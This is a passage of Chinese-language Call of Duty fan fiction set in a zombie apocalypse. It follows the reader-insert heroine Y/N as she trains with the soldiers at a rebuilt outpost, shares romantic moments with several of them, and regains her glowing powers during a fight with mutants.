“全员黎明前出发,同时启动归巢计划,联系所有还能喘气的兄弟。”
而Nikto在听完Ghost的话,沉默转身走向房车,高大的身影几乎没有发出任何脚步声。
小女孩抬头看见他进来,连忙竖起食指抵在唇边。
Nikto点头,面甲下的呼吸声轻缓,平稳。他蹲下身,从背包里掏出几个在超市废墟中找到的苹果和桃子。
虽然表皮有些磕碰,但果肉还算完好。小女孩默契地递来小刀和玻璃罐,两人坐在房车里,安静地将水果去皮,切块,再仔细装进罐子里。
他的动作很轻,生怕刀刃碰触罐子的声响吵醒里间的Y/N。小女孩看着他小心地捏着水果,笨拙却认真地摆弄着,忍不住偷偷笑了笑。
Nikto瞥了她一眼,没说话,只是把第一个做好的罐头推到她面前,又继续低头处理下一个。
……
天色刚泛起鱼肚白时,车队已经碾过晨雾前行。Y/N缓缓撑起身子,额前的碎发被薄汗黏住,但那股灼烧般的燥热终于褪去。
Krueger从后视镜瞥见她的动静,二话不说就朝Soap的小腿踹了一脚。
“换人。”没等对方抱怨,他已经起身,拿起小桌上那盘被小女孩削好的苹果,一牙牙果肉氧化发黄。
他看了眼小女孩顿了顿,突然拨下小半苹果扣进空碗,这才转身走向后舱。碗底在桌面上磕出轻响,惊醒了蜷在座椅里打盹的小女孩。
她揉着眼睛,看见Krueger正把剩下的苹果递到Y/N面前
“Mein armes Katzchen"(我可怜的小猫),你可算醒了。”
Krueger沙哑的声音里带着戏谑,捏着苹果块直接塞进她嘴里,“等得我快长蘑菇了。”
Y/N慢吞吞嚼着苹果,含混不清地问:“等什么?”
“等你把感冒传给我啊,”他扯出一声笑,头罩挂在脖子上晃荡。
“老子这辈子还没发过烧呢。”
说着伸手蒙住她眼睛,却被Y/N抢先一步,整个手掌糊在他脸上。
“Huh!想戳瞎我?“Krruger的笑声闷在她掌心震动,突然伸出舌头舔过她指缝。
“味道不错。”故意在指尖的位置打了个转。
但看着Y/N虚弱的样,他立马见好就收,变魔术似的掏出药片。
“行了,吃药。睡醒就能看见咱们的新家了。”
手掌移开Y/N眼上时,头罩已被他随手撩回盖住,遮住了最后那句话时突然放柔的眼神。
“什么新家?”
Krueger坏笑着凑近她耳边。“当然是…..”
他故意拖长音调,“我们以后办婚礼的地方。”
“全体注意!”
Soap抓起对讲机,声音里满是夸张,“疯狗又在忽悠Y/N!他说到了基地就要和Y/N结婚!重复!”
Ghost的冷笑带着电子杂音,“呵,他就两天没睡觉,就开始产幻了,身体素质确实差。”
一旁还有Konig的怒吼震得喇叭滋滋响,“做…..做梦!他做梦!对…..说的没错!产幻!Frecha Hund!(无耻的狗!)”
“附议。建议直接注射镇定剂。”Keegan那头也传来不冷不热的音调。
Krueger面不改色地按下通讯键,“嫉妒是种病,军犬们,放心吧,会给你们发子弹作为请柬的。”
他顺手把药片塞进Y/N嘴里,“小猫乖,吃药。咱们之后再讨论,婚礼请柬用子弹壳还是弹匣当装饰。”
药效渐渐发挥作用,Y/N的意识再次模糊。
在陷入沉睡前的最后一刻,她迷迷糊糊地想着,等病好了,一定要学会用枪,或是任何武器。
必须比他们更强。
如果这副身体永远无法恢复从前的力量,那至少要在战力上不输给任何人,哪怕是这群她喜欢的人们。
……
自打进驻这座废弃的军事前哨,所有人就像被上了发条的机器,昼夜不停地忙碌着。
这座规模堪比小镇的前哨站里,各种设施一应俱全。
锈迹斑斑的眺望塔上,Ghost正带着Hesh和Konig更换防护网。军营里,Krueger焊接加固门窗。
Keegan和Merrick调试外围的障碍装置。车间传来Soap和Logan修理发电机的骂声。
而最关键的是通讯系统重建工作,他们修好了远处城市电信大楼顶的老式无线电中继站,可以覆盖的范围至少达50公里。
还在必要路口安装了车辆感应器,在加油站藏的磁铁装置,只有车经过就会亮灯。
而水塔顶的反光镜阵列,每天会定时闪烁密码。
他们在沿路外墙那些看似随意的红色涂鸦,晾晒衣服的特定排列方式,甚至垃圾桶的摆放位置。
所有一切,都是只有曾部署自己人才懂的暗号。
Price还特别规定,通讯要用摩斯电码,而且每两小时就换一次频道,严防外人监听。
而此时Price带着Y/N和小女孩,三人组成了一支特殊的清点小队。穿梭在基地各个角落,像寻宝一样挖掘着还能使用的物资。
Price挽起袖,亲自示范如何用军工铲翻地。Y/N虽然还虚弱,但也坚持帮忙清除石块。
小女孩则负责用小篮子收集挖出来的蚯蚓,准备以后用来养鸡。
“这块地,”Price指着足有足球场大小的开垦区,“以后就是我们的菜篮子。土豆,玉米,番茄…..一个都不能少。”
他转过身,看到身后一大一小两个姑娘,眼神突然柔和下来,眼角泛起细纹,点头的幅度大得像个老式发条玩具。
常年紧抿的嘴角难得地扬起,露出一个罕见的,带着烟火气的笑容。
“干得不错。”他沙哑的嗓音里藏着几分骄傲,伸手揉了揉两人脑袋。
“比某些懒鬼强多了。”说着意有所指地瞥向不远处偷懒的Soap。
……
Y/N的感冒痊愈后,她依然保持着昼伏夜出的习惯。没人知道,每个深夜的训练场上,总有一个身影在月光下一圈圈地跑着。
从最初跌跌撞撞的五百步,到现在能稳稳完成五千步的匀速跑。
直到某个深夜,Keegan从噩梦中惊醒。梦里那23具尸体中间,赫然躺着Y/N苍白的面容。
他猛地坐起,简陋的宿舍里,现在只有铺在地上的军用毛毯,门框还空荡荡地张着大口。
抹了把冷汗,他鬼使神差走向分配给Y/N的房间,却发现空无一人。
训练场方向传来规律的脚步声。Keegan像影子般融入夜色,看见Y/N后背被汗水浸透,却还在跑着。
他无声加入她的跑道。“Hey,Lass。"
Y/N转过汗湿的脸,“我现在能连续跑五千步了。”语气里藏着小小的骄傲。
Keegan眉眼间都是笑意,“很棒。”
他们就这样并肩跑了五圈。月光下,Keegan突然意识到,Y/N似乎正在用最笨拙也最直接的方式,拒绝成为被保护的对象。
刚结束跑步,Y/N双腿已经发软,膝盖一弯就要往地上坐。Keegan猛地伸手,一把扣住她的手腕,力道却很轻。
“别坐。刚跑完就坐下,你的心脏会炸开。”
Y/N整个人都在喘,整个人歪在Keegan臂弯里。
“那,那我们去找点吃的吧。”她摸了摸肚子,“好像饿了。”
Keegan从储藏间取出食材,两人来到那辆房车上,他正要给她做三明治,Y/N朝他说,“我来。”
Keegan有点惊讶,但没说什么,让开了身子。当她把做好的三明治递过来时,Keegan盯着她指尖的面包屑发愣。
Y/N的眼睛亮得出奇,嘴角噙着明显的笑意望向Keegan。他突然怔住了,不知何时起,她竟有了如此生动的神采。
他们似乎都错过了什么。
自从来到这处基地后,每个黎明都伴随着钢筋碰撞的声响。男人们忙着搭建围墙,清理异变体,入夜后便累得倒头就睡。
可就在这些夜里,Y/N似乎一直在重塑自己,用她现在最普通的身体。
“你什么时候学会的?”
Keegan看着Y/N手里烤得恰到好处的面包片,边缘微焦,散发着黄油香气,这显然不是随便热一热就能有的水准。
“晚上老是饿,干啃面包不好吃。”
她歪着头,“你之前不是说过让我自己学着做,是这个意思吧?”
Keegan喉结动了动,声音不自觉地沉了几分:“你可以叫醒我给你做。”
Y/N困惑地望向他,眉头微微蹙起,“可你不是说过,不能当等着投喂的宠物吗?”
Keegan突然语塞。
他当然欣赏这样的她,独立,坚韧,不再被动等待。可心底某个角落却在叫嚣着不满。
他不想承认的是,他其实,希望她需要自己。
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“没关系,你可以叫醒我,我可以教你些别的,然后你再学着做。”
Keegan的指尖轻轻掠过Y/N的额发,将那缕调皮的发丝别到她耳后。
这个不经意的动作忽然触动了Y/N的记忆,她的眼睛再次亮了起来。
“那教我洗头吧!”她雀跃地说,像个发现新游戏的孩子。
“平时小苹果总帮我洗,可我自己弄的时候,泡泡老是跑进眼睛里,疼死了。”
Keegan面罩下溢出一声低沉的轻笑:“好,你想什么时候学都……”
话音未落,Y/N已经抓住衣摆就要往上掀。Keegan眼疾手快扣住她的手腕,无奈地叹了口气,看来有些常识,她还是得从头学起。
“我说过的,”他的声音里带着不容置疑的严肃,却又比平时柔软几分,“不能随便在别人面前脱衣服。”
“没事,我里面穿了衣服!”Y/N信誓旦旦说着,趁Keegan松手的瞬间就利落地把衬衣往上一掀。
结果动作太急,头发和扣子全绞在了一起。衣服卡在半空,要上上不去,要下下不来。
她里面确实穿了衣服,但只是一件单薄的背心,随着她挣扎的动作,露出一截纤细的腰线。
Keegan看着她像只炸毛的猫似的在衣服里扑腾,忍不住笑出声:“别急,我帮你。”
他靠近一步,拨开缠在纽扣上的发丝。
Y/N跑完步本就累得够呛,这会儿手臂酸得发颤,干脆整个人靠进Keegan怀里,把脑袋的重量全交给他。
温热的气息透过Keegan轻薄的作战服,烙在他胸口。
Keegan的动作顿了一下,他刻意放慢了解扣子的速度,指节偶尔擦过她后颈的皮肤。
男人的指尖停留在最后一颗纠缠的纽扣上,却忽然收紧了力道。他的呼吸加重,温热的鼻息拂过裸露的后颈。
下一秒,他撩开面罩,唇压上她的肩胛骨,一个克制又滚烫的吻。Y/N下意识缩了缩脖子,却被他另只手稳稳扣住腰。
Keegan的齿尖轻轻磨蹭衣料下背心的肩带,声音沙哑得不像话。
“.…别动。”
Y/N能清晰感受到Keegan胸腔的震动,男人每次呼吸都像灼热的子弹擦过她的脊背。他的唇沿着她的肩胛游移,又痛又痒。
“好痒啊,你在做什么?”
他突然咬住她背心的肩带,往后一扯。
“啪”地一声轻响,弹性布料弹回她的肌肤上。Y/N轻呼出声,却被他顺势转过来,扣住后颈。
Keegan的拇指拂过她跳动的脉搏,呼吸粗重,潮湿。
“这是惩罚。”
“为什么?”Y/N困惑,她闷闷的声音从布料下传来,难道那个三明治很难吃吗?
Keegan盯着她被衬衣勾勒出的轮廓。鼻梁的弧度,微张的唇,甚至睫毛的阴影都清晰可见。
他的呼吸越发沉重,连衣料几乎挡不住那股烫。
“为了惩罚你随便脱衣服。”
下一秒,他隔着衬衣,重重吻了下去。
Y/N的感官被无限放大。Keegan的唇压下来时,她清晰地听见衬衣纤维摩擦的细响,感受到他鼻息穿透屏障的灼热。
Keegan退开时,Y/N以为他说的惩罚结束了,却听见一道轻微的窸窣声。
男人叼住衬衣一角,猛地扯开一道缝隙。冷空气灌入的瞬间,他的舌紧跟着顶了进来,带着硝烟与薄荷糖的矛盾味道。
Keegan的拇指还覆在她颈侧,随着吞咽的动作上下滑动。他退开半寸,声音哑得不成样,
“呼吸。”
“我是不是跟你说过,要换种不让自己缺氧的方式?”
Y/N这才发现自己憋气到眼前发黑,大口喘息的瞬间,唇间却突然又被堵住。
Keegan的吻再次压上来,他的舌卷着新鲜的氧气渡进她口中。吻愈发深入,手牢牢扣住她的后颈,另一只手掌紧贴在她腰侧,几乎要将她揉进自己怀里。
可Y/N的双手还僵在半空,酸得发颤,她终于忍不住,抵着他的胸口轻轻推了推。
Keegan察觉到她的动作,稍稍退开,呼吸仍炽烈地扑在她唇上。
“怎么了?”
她控诉,手臂微微发抖,“我的手一直举着,好累。”
他低笑一声嗓音沙哑:“怎么不早说?”
随即一把托住她的肘弯,将她的手臂环上自己的脖颈,“这样呢?”
Y/N的手终于得以放松,点了点头,正要问这衣服什么时候能取下来?
Keegan的眸色却骤然加深,低头再次吻住她,这次,他的手掌顺着她的腰线滑上后背,稳稳托住她,让她整个人都挂在自己身上。
“现在,”他的唇贴着她的耳垂,气息滚烫,“专心点。”
“专心什么?”
Keegan的额头轻轻抵着她的,透过那层薄薄的布料,温热拂在她皮肤上。
“专心感受,和我呼吸和别人有什么不一样。”
一边说着,Keegan的气息也缓了下来,温热,平稳,却带着隐晦的侵略性,像是刻意压制的某种东西。
“你能感觉到什么?”
Y/N蒙在衣服里认真想了想,“你的呼吸像偷偷摸摸干坏事。”
Keegan低笑出声,鼻息扑在她耳侧。“那看来我装得还不够好。”
衣服终于顺利摘下,面罩上方的灰蓝眼睛里满是笑意,“走吧,我来教你怎么洗这一头小狮子毛。”
39. 自娱自乐[番外]
日子一天天过去,基地的围墙越垒越高,连带着几间像模像样的宿舍和训练场也建了起来。
更让人惊喜的是,陆续有戴着141和SAS臂章的老兵找上门来,说是循着暗号一路摸过来的。
然而Y/N的能力始终没有恢复的迹象。每到深夜,她总是提前醒来。
Ghost能在靶场看见她揉着眼睛准时出现,Krueger的刀法课她一节不落,连Konig那个傻大个教防身术时,她都学得认真。
Keegan的远程狙击她跟着动作和技巧照搬,就连Nikto危险的爆破,她也全神贯注地学习.…..
每个人都心甘情愿当她的教官。有人是真心想让她多些自保的本事,也有人纯粹是为了能名正言顺地多靠近她一会儿。
Ghost自然是最严苛的那个,但他从不像曾经训练新兵时那样厉声呵斥。
反而会直接上手,宽大的手掌覆住纤细的手腕,结实的前胸紧贴她后背,直到找到最适合她的射击姿势才会停下。
“我知道了,你去睡吧,我自己练习。”
Y/N知道,他们都是夜间睡眠,虽然她现在与普通人无异,但依然是只夜行动物。
Ghost的骷髅脸微微转动,低哑的声音从面具后传来。
“别看我,看靶子。”他抬手扳正她的肩膀。
“真遇上敌人时,你难道也要回头找我?”
Y/N歪着头想了想,“那要是你在我身后死了呢?也不能回头看一眼?”
面具下传来一声短促的冷笑。
“我死?”他的拇指突然按上她的下巴,强迫她重新看向靶场。
“就算在你梦里,我也死不了。”
顿了顿,又补了一句,“而且,我不可能会在你身后。”
……
跟Krueger学匕首的过程是最让Y/N觉得好玩的。
他总会变着花样找来各种练习道具,从沙袋到木桩,甚至亲自当活靶子。
每当Y/N握着匕首朝他攻来时,那双狐狸一狡黠的眼就会泛起危险的光,眯起兴奋的弧度。
“来啊,wildes Katzchen(小野猫)”
他压低身子,像逗弄猎物般后退半步,故意露出破绽。
当Y/N的匕首划破空气刺来时,他总是能以毫米之差闪避,然后趁机扣住她的手腕,将她拉近到能感受到彼此呼吸的距离。
但Y/N始终不急不躁,耐心寻找着自己的战斗节奏。直到这天训练时,Krueger又一次将她牢牢锁进怀里,双手反剪在身后。
“哈,又输了,Katzchen(小猫)”他得意的笑声在头罩下闷闷作响。
突然,Y/N猛地偏头咬住他的头罩边缘,像只发狠的小兽般用力撕扯。Krueger下意识后仰躲避,却意外暴露出一段线条凌厉的脖颈。
Y/N眼睛倏地亮了起来,毫不犹豫扑上去,尖牙精准卡在他跳动的颈动脉上。
趁他吃痛松手的刹那,她灵活地抽出匕首,刀尖稳稳抵住他的咽喉。
“这样算赢了吧?”她眨着亮晶晶的眼睛,语气里带着藏不住的雀跃。
Krueger抬手抚过颈间湿润的齿痕,低笑出声:“作弊啊,Stubentiger(小老虎)。”
“谁让你自己不穿衣服。”她理直气壮地顶回去,刀尖却纹丝不动。
“就算赤膊上阵,”他突然用指节刮过她鼻尖。
“也没人能近我的身。”说罢轻松挣脱她的钳制。
“该睡了,你自己玩吧。”Krueger转身时,面罩下意有所指地舔了舔唇。
“我现在得去享受一点.….fur mannliche Entspannung en(男人的自我乐趣)”
Y/N望着他远去的背影,困惑地歪了歪头。虽然不明白他话里的意思,但那股神秘感让她忍不住想跟上去一探究竟。
就在这时,Nikto高大的身影突然从阴影中浮现,像一堵墙挡住了她的视线。
“教你做新型毒气弹。”他的声音穿透夜色。
“好啊!”Y/N的注意力立刻被转移,将刚才的好奇抛到了九霄云外。
但很快她就发现,Nikto的教学方式与众不同,他的目光始终牢牢锁定在她脸上,而不是手中的炸弹装置。
“你干嘛一直盯着我看?”
“没什么。“Nikto嘴上这么说,视线却丝毫未移。
沉默片刻后,他突然抛出一个问题:“我们几个里,你最喜欢谁?”
“都喜欢啊!”Y/N不假思索地回答,手上的动作丝毫不停。
Nikto没再说话,只是更专注地教她拆解炸弹的每一个步骤。
月光下,他面具后的眼睛始终追随着她的一举一动,仿佛在拆解某个比炸弹更复杂的谜题。
……
自从那个在房车共度的夜晚后,Keegan对她的态度发生了微妙的变化。
现在教她狙击时,他的手掌会不自觉地在她腰间多停留几秒。演示战术动作时,指尖总会无意擦过她的颈侧。
就连递装备时,也会在调整时多触碰几下她的手背。
过去最克制的接触不过是握个手,如今却像上了瘾般贪恋每一次肌肤相触的机会。
他清楚地知道Y/N对所有人都保持着同样的亲近,可胸腔里那股莫名的焦躁却越来越难以压抑。
他想要那双眼睛只注视自己,想要那些笑容只为自己绽放。
……
Konig的教学方式始终如一。说是教防身术,实则每次都把她牢牢锁在怀里,让她尝试挣脱。
可Y/N那点力气,怎么可能挣脱得了这个巨人的怀抱?
于是两人的训练常常演变成这样的画面,一大一小两个身影躺在训练场上,Konig像抱着巨型玩偶般将她圈在怀中,任凭她徒劳地扭动。
有时望着满天星辰,Konig会忍不住幻想,要是能把Y/N永远拴在自己身上该多好。
“如….如果...如果不用那种可怕的方法就能永生.…..”他无意识收紧了手臂,将脸埋进她发间深深吸气。
“…..我想永远这样抱着你…但只有我…..”温热的唇瓣轻轻碰了碰她头顶,“就这样.…就够了…..”
不知从何时开始。也许是在与Y/N重逢的那一刻,又或许是从她失去特殊能力,变得与普通人无异的那个转折点开始,某种微妙的平衡被打破了。
他们曾将她视作需要仰望的存在,强大、神秘、近乎不朽。可如今,她也会疲惫,会受伤,会在寒冷的夜里无意识地往热源处蜷缩……
这种脆弱,反而撕开了他们心里最隐秘的阴暗。
这些铁血战士们心底开始泛起异样的涟漪,那些被理性压抑的,属于雄性生物最原始的冲动,正在潮湿的角落里悄然滋长。
想要独占她专注的目光,想要在她身上留下专属的印记,想要成为她唯一依赖的对象.….
但好在,这些危险的念头都还只是心底的暗涌。在这个危机四伏的末世,他们终究是能将后背托付给彼此的战友。
当异变体的嘶吼在黑夜中响
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起时,他们依然会毫不犹豫地为对方挡下致命一击。
分配所剩无几的物资时,还是会先把最后一口净水让给受伤的同伴。
而Y/N根本没有发现这几人的心态变化,她如饥似渴地吸收着一切战斗知识。
但凡发现有人掌握她不会的技能,必定寸步不离地跟随观察,直到完全掌握要领为止。
虽然现在的Y/N身体素质远不如常人,体能测试总是垫底,但她终究不是普通人类。
漫长的岁月积淀让她拥有超乎寻常的学习天赋,以及野兽般的直觉反应。
她看一遍拆枪动作就能完美复刻,Ghost示范的战术翻滚她第三次尝试就比那些新兵还标准。
Krueger不得不承认,这小猫对冷兵器轨迹的预判准得吓人,简直像是能看穿对手肌肉的颤动。
唯一的问题就是体力。往往训练到后半程,她就开始脸色发白,手指发抖。
所以大家不约而同地调整了教学方案,Konig专教四两拨千斤的关节技巧,Keegan重点训练她一击必杀的狙击要领。
Nikto甚至改良了爆破装置,把原本需要五公斤臂力才能投掷的□□,改成了她单手就能操作的迷你版本。
Price站在训练场边缘,目光追随着场中那道身影,对身旁的Ghost低声道。
“Y/N的天赋太惊人了,照这样下去,就算她永远都是普通人,恐怕也不需要你时刻护着了。”
Ghost的护目镜后传来一声冷哼,嗓音低沉而笃定。
“不可能。她永远都需要。就算实力再强,脑子也缺根弦。”说完,他大步朝Y/N的方向走去。
Price顺着他的背影望去,果然又看见一个新来的小子凑在Y/N身边,看似无意地碰碰她的手臂,又或是不小心站得太近。
虽然没越界,但意图明显。Ghost几步逼近,高大的身影往两人中间一横,那年轻人顿时像见了掠食者的猎物,头也不回地溜了。
Ghost的目光仍钉在那个仓皇逃开的背影上,指节在手套下发出咔咔的响声。
“那小子刚才跟你说什么?”声音里带着股压不住的阴沉。
现在的Y/N比从前鲜活多了,眼角偶尔会随着笑意弯起好看的弧度,说话时眉梢会不自觉地上挑。
更别提那张本就漂亮得扎眼的脸,只要她冲谁笑一下,新招纳的那些毛头小子没一个扛得住的。
“他说下次出任务要给我带新鲜水果。”Y/N抿抿嘴笑,发丝在月光里泛着光。
Ghost从鼻腔里挤出一声冷笑:“就这点破事也值得摇着尾巴来邀功?”
他扯了扯骷髅面罩的边缘,话里是盖不住的刻薄,“他是狗吗?”
Y/N仰起脸,正对上Ghost从骷髅面罩后垂落的视线。那双漆黑的眼睛在阴影里,像是要把人吸进去。
“是我说想吃的,”她舌尖无意识地舔过干燥的唇,“已经很久没尝过水果的甜味了。”
Ghost的呼吸明显滞了一瞬。他微微俯身,将她一缕碎发撩起,战术手套擦过她耳廓。
“想要什么水果。”
“都想要。”
Ghost突然低笑起来,宽大的手掌不由分说地覆上她前额,轻轻摇晃。
“行,Your Royal Highness(公主殿下)”他将尾音拖得又低又长,像是某种猛兽满足时的呼噜声。
男人抬头瞥了眼渐亮的天色,指腹在她额角流连片刻才收回,面罩下的嗓音暗了几分。
“去睡吧,天快亮了。”
40. 自娱自乐[番外]
Y/N揉了揉困倦的眼睛,拖着步子往宿舍走去。自从基地新来了些人,他们特意用两块旧门板给Y/N和小女孩的房间做了简易的隔断。
走廊昏暗的灯光下,Konig高大的身影正局促地杵在她房门外,脑袋垂得低低的,手指不安地绞着头罩一角。
“怎么了,小熊?”她轻声问。
Konig的声音闷在面罩里,结结巴巴地挤出几个词:“Y/N,我们…..我们已经很久没有像…..像以前那样...挤在一起睡了.…..”
Y/N想起Keegan不久前严肃的叮嘱,“别随便让人进你房间”。
但眼前这只手足无措的小熊怎么能算别人呢?
她踮起脚尖揉了揉Konig的下巴,“好啊,小熊,今天陪我睡吧。”
Konig欢天喜地地将Y/N搂进房间,像抱着一件珍宝般小心翼翼。他结实的手臂环住她娇小的身躯,两人一起陷进地上单薄的垫子里。
“我,我明天.….”他结结巴巴地说,手指卷着她的发梢,“去给你找张真正的床.....好不好?”
Y/N在他温暖的怀抱里蹭了蹭。Konig的胸膛宽阔得像堵墙,体温透过作战服源源不断地传来,这和睡在床上有什么区别呢?只不过床更软些罢了。
她想起至今睡过最舒服的,也就是那辆破旧房车里的床垫了。
“世界上.....还有比房车更舒服的床吗?”她困倦地嘟囔着,眼皮已经开始打架。
Konig湛蓝的眼睛瞬间瞪得滚圆,天呐,他的Y/N竟然连张像样的床都没睡过?
他出任务时住过的那些豪华酒店套房在脑海中闪过。
“当,当然有!”他激动得声音都提高了八度,“明天!我明天就给你弄来!”
“嗯.....谢谢小熊......”
Y/N的声音渐渐低下去,在他令人安心的气息中沉入了梦乡。
Konig凝视着她恬静的睡颜,喉结不自觉地滚动。他小心翼翼地将她的指尖拉进头罩的阴影里,温热的唇贴上她纤细的手指。
“…Y/N.…”他的声音沙哑得不像话,“我能不能...亲亲你.….”
睡意朦胧间,Y/N感到指尖传来湿润的触感,像被什么动物在小心翼翼舔舐着。
她闭着眼睛含糊地抗议:“.....会喘不过气的.…”
“不会的,我保证.….”Konig急切将她的指节含进口中,舌尖绕着指尖打转,却又在下一秒克制地松开。
“…..不像上次那样.….”天知道他有多想重复那个几乎窒息的深吻,那种仿佛要将她吞吃入腹,融进骨血的疯狂。
他像个讨要糖果的孩子般吮吸着她的手指,头罩下的呼吸愈发粗重:“....好不好?Y/N.….”
“....嗯...好...”她尾音还未落下,整个人就被笼罩在他灼热的体温里。
这次Konig的唇只是隔着粗麻布,轻柔流连在她的唇角,像对待易碎的珍宝般辗转轻蹭。
Y/N在他怀里调整了下姿势,发出小猫似的哼唧声。
Konig将结实的手臂垫在她颈下,另一只手占有性地环住她的腰肢。
在长久地凝视后,他缓缓掀起头罩一角。
滚烫的唇瓣顺着耳垂一路向下,在雪白的肌肤上烙下细碎的吻,下颌那道可爱的凹陷,微微起伏的喉间,精致的锁骨凹陷.…
每一寸都被他虔诚地标记。
当太阳完全升起时,Ghost和Konig一同离开了基地。
目前基地里的人手并不多。除了他们自己的核心小队外,只有不到二十名幸存者。
这些人全是循着无线电信号找来的退役军人,有经历过多次战役的老兵,也有刚入伍就遭遇末世的年轻士兵。
Keegan和Merrick带着新人们外出搜寻物资,Krueger则独自去附近狩猎。
基地里只剩下Soap,Price,Nikto和几名新人驻守。不过以他们的火力配置,异变体根本不可能突破防线。
然而就在太阳刚落山,天色尚明时,基地外围远处突然响起一连串枪声和爆炸声。
Price立即抓起对讲机:“所有在外人员,立即撤回基地!发现异常情况!”
Soap迅速带人进入战斗位置,敏捷地爬上瞭望台:“发现一辆军用装甲车!”
他眯起眼睛,声音陡然一沉,“后面追着至少三十只异变体!”
Price立刻开始部署防御:“Nikto,带新人守住东侧缺口!Soap,准备重火力掩护!”
Y/N猛地从睡梦中惊醒,第一声爆炸传来时,她还以为是自己幻听。
直到密集的木仓声骤然炸响,她瞬间弹起身,一把抓起枕边那袋为她量身定制的装备。
小苹果也敏捷地抄起复合弓,像条小尾巴似地紧跟着她冲出宿舍。
那袋装备是他们精心为她挑选的,背在身上不算太重,但每件武器都带着他们各自的偏好。
基地内部空荡荡的,只有外围的木仓声越来越近。Y/N一个箭步蹿上侧墙的攀爬架,小女孩默契地在下方托了她一把。
墙外已是一片混乱,Price正带头组织防御,他的吼声在爆炸间隙格外清晰。
Y/N迅速扫视战场。硝烟中,那辆军用装甲车正歪歪斜斜地朝基地冲来,车身上布满了触目惊心的爪痕。
车后,黑压压的异变体群如潮水般涌来,其中几只变异体明显比其他同类高大许多,畸形的肌肉在夕阳下泛着不自然的幽光。
“Price!三点钟方向有超级怪物!”她朝下方喊道,同时利落地架好冲锋木仓。
小苹果已经自觉占据了她左侧的射击位,复合弓拉满的弓弦发出细微的震颤声。
Price头也不回地比了个收到的手势,转而对着对讲机吼道:”Ghost!你们他妈到哪了?!”
无线电里传来刺耳的电流杂音,接着是Ghost冷静到可怕的声音:“两分钟。让那辆破车再撑三十秒。”
就在这时,装甲车猛地一个急刹,后厢铁门被暴力踹开。
戴着赤鬼面具的男人扛着火箭筒跃出,獠牙面具在火光中狰狞一闪,反手对着身后就是一发高爆弹。
车顶同时窜出个戴着战术头盔和护目镜的男人,手中步木仓点□□准爆头。
驾驶位车门轰然弹开,一身迷彩作战服闪身而出,旋身一记鞭腿将扑来的异变体踹进废墟,匕首寒光乍现。
而那几只明显不同于其他异变体的变种,已经朝车上的人冲了过去,Y/N的动作比她脑子转得更快。
子弹贯穿了那几只怪物的头颅,那三个男人下意识回头,看见蹲在墙上的女人。
可那几只变异体明显与其他杂兵不同,它们在被爆头后竟诡异地抽搐着爬了起来,扭曲的脖颈发出骨骼错位的咔咔声。
几双泛着幽光的眼睛齐刷刷锁定了墙头的Y/N,完全无视了周围其他人的火力,发疯似地朝她冲来。
“Y/N!跳进去!”Soap的吼声几乎破音。整个基地的火力瞬间转向,但谁都不敢用重武器。那些好不容易加固的围墙经不起爆炸冲击。
Krueger突然从阴影中窜出,手中的步木仓喷吐着火舌:“Verdammt!!”
他边射击边怒吼,“Y/N!滚回墙里去!”
但那些怪物仿佛中了邪,任凭子弹撕裂它们的躯体,仍执拗地朝着Y/N的方向狂奔。
那几
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个新面孔也跑了过来,一起为她掩护,
Y/N在墙沿上灵巧腾挪,她心里清楚得很,现在跳进墙内等于引狼入室,这些怪物绝对会毁了大家辛苦搭建的防御工事。
她在奔跑中突然急停转身,冲锋木仓抵肩的瞬间扣动扳机。
子弹命中领头变异体的膝盖,那怪物踉跄着跪倒,却仍伸长利爪试图抓挠围墙。
就在更多的变异体即将扑到墙根时,熟悉的引擎轰鸣撕裂夜空。Ghost的车闪电般冲入战场,Konig手持轻机木仓泼洒出风暴。
更远处,Keegan带领的车队正全速驶来,车顶的重机木仓已经开始预热旋转。
Ghost单手操控车把,另一只手抽出腿侧的□□。
Y/N这时突然看见,那几个变异体后颈处闪烁的蓝光在她眼中异常刺眼,可其他人却像完全没看见一样,仍在盲目射击它们的躯干。
“它们脊椎!后面发光的位置!”
她大声喊道,但回应她的只有Soap困惑的眼神:“什么蓝光?Y/N你看见什么了?”
Krueger的子弹依旧精准地撕裂着变异体的四肢,却对那抹幽蓝视若无睹。
Y/这才意识到,只有她能看见这些怪物真正的弱点!
“Ghost!十一点方向后背第三节!”
她本能地朝刚冲进战场的骷髅面罩喊道,同时一个侧滚翻避开变异体甩来的腐肉。
Ghost的霰弹木仓几乎在她话音未落时就调转了方向。
“砰!”
随着震耳欲聋的枪响,那只变异体后颈突然炸开一团蓝莹莹的黏液,整个躯体像断了电的机器般轰然倒地。
“靠!”Soap目瞪口呆地看着这立竿见影的效果,随即兴奋地大吼:“都听Y/N的!打脊椎!”
Konig的机枪立刻调整射击角度,金属风暴精准地撕开另一只变异体的后背。“都….都给我去死!!!”
当子弹击中那处隐形弱点时,蓝光像被戳破的气泡般迸溅开来,怪物发出前所未有的惨嚎。
Price在无线电里迅速部署:”所有人注意!新型变异体弱点在脊椎!重复,瞄准脊!”
他话音未落,最后那只变异体暴起,竟踩着同伴的尸体直接扑向墙头的Y/N。
她甚至能看清那怪物身上与自己曾经如出一辙的蓝光。
“Y/N!”
Keegan的狙击弹擦着变异体的残影呼啸而过,在围墙上炸开一个狰狞的弹孔。
所有人的心跳都在那一刻停滞。
他们眼睁睁看着那只怪物将Y/N狠狠扑进了墙内。
“Fuck!”Ghost的声音第一次出现了明显的颤抖,他是直接从飞驰的车上跃下,落地时甚至能听见作战靴砸碎石子路的脆响。
整个小队瞬间暴走。Konig丢下打空弹匣的机木仓,像头发狂的棕熊撞开拦路的新兵。
Krueger踩着围墙突出的钢筋往上攀爬,动作敏捷得不像人类。
Price的怒吼在无线电频道里炸开:“医疗组就位!赶紧封锁东侧缺口!其他人跟我,”
他的话被墙内突然爆发的蓝光生生截断。那道光芒太过刺目,仿佛有人往基地里扔了颗微型太阳。
他们都下意识抬手遮挡,却听见光芒中心传来尖啸。
当光芒散去,众人冲进内墙时,看到的场景让所有木仓口都僵在了半空。
Y/N单膝跪在变异体的尸体上,右手贯穿了那怪物的脊椎。
更骇人的是,她的眼睛正闪烁着幽蓝。
Y/N缓缓抬头,蓝光渐渐从她眼中褪去。她朝着自己最喜欢那几人歪了歪脑袋,笑着说。
“我好像知道它们为什么追着我不放了。”
41. 自娱自乐[番外]
“我没事呀。”Y/N晃了晃手臂,试图证明自己真的安然无恙。
房间里,几个人围着她,目光一寸寸扫过她的身体,仿佛要把她盯出个洞来。
“Y/N......你......你真的没事吗?”Konig湛蓝的眼睛里盛满了急切,声音闷在粗布下,却掩不住颤抖。
他像个手足无措的大熊,想碰她又不敢用力,最后只能攥紧自己的手套。
